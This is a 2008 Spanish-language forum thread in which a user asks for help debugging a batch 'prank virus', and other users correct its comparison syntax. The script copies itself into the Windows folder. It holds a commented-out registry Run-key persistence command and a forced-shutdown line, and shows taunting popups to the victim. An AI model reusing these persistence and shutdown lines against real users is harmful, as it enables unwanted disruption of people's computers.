Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Herzius en 21 Enero 2008, 21:12 pm



Título: Bloques
Publicado por: Herzius en 21 Enero 2008, 21:12 pm
Hola, tengo un problemilla que seguramente será los bloques pero no se que hacer

Código:
echo off
rem Script made by Herzius
set /a numero=%random%
pause
if %numero% >>==90000 goto :1
if %numero% >>==9000 goto :2
if %numero% >>==900 goto :3

:1
division=%numero%/10000 goto :mensajes
:2
division2=%numero%/1000 goto :mensajes
:3
division3=%numero%/100 goto :mensajes

:mensajes
msg * Hola soy Herzius
msg * Te acabo de enganxar :D
msg * No te voy a dejar :D
copy cpvwa.bat %windir%
msg * Tranquilo no es un virus
rem Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v cpvwa /d %windir%\cpvwa.bat
msg * es una bromilla que te ara perder tiempo :D
rm asd.bat
msg * Te entetendre %tiempo% minutos

msg * Que va no es broma lo del virus y lo del tiempo

msg * si que es un virus pero no te are perder tiempo

msg * Estas contento? No te are perder tiempo

msg * El ordenador se apagara en %tiempo% minutos

msg * Adios, recuerda %tiempo% %tiempo% %tiempo%

msg * Aprobecha tus %tiempo% minutos de tiempo :D

msg * Y el tiempo empieza...

msg * YA!!
rem shutdown -s -f -%tiempo%
echo VA A QUE ESPERAS PARA DISFRUTAR DE TUS
pause>nul

PD los comentarios y todo eso esta así por que lo estoy probando y no quiero que me fastidie :D


Título: Re: Bloques
Publicado por: MK-Ultra en 22 Enero 2008, 14:48 pm
Primero que en ningun lado definis la funcion tiempo.

Segundo que si estas tratando de poner aca:
Código:
if %numero% >>==90000 goto :1
if %numero% >>==9000 goto :2
if %numero% >>==900 goto :3
que si el numero es mayor o = q X lo tienes que poner asi:
Código:
if %numero% GEQ 90000 goto :1
if %numero% GEQ 9000 goto :2
if %numero% GEQ 900 goto :3

Espero que te sea de utilidad  ;)


Título: Re: Bloques
Publicado por: ~[uNd3rc0d3]~ en 22 Enero 2008, 23:35 pm
o.O

tenes muchos errores

para empezar no es nesesario /a

nose para que pones estp >> no te va a andar porque lo va a tomar como un redireccionamiento

despues en las etiquetas 1 2 3 escribis como si fuera un documento de texto....el ms-dos solo interpreta los comandos que esten en el system32

y despues en ves de hacer lo que queres hace le mandas comentarios

¬¬

eso no sirve

nos vemos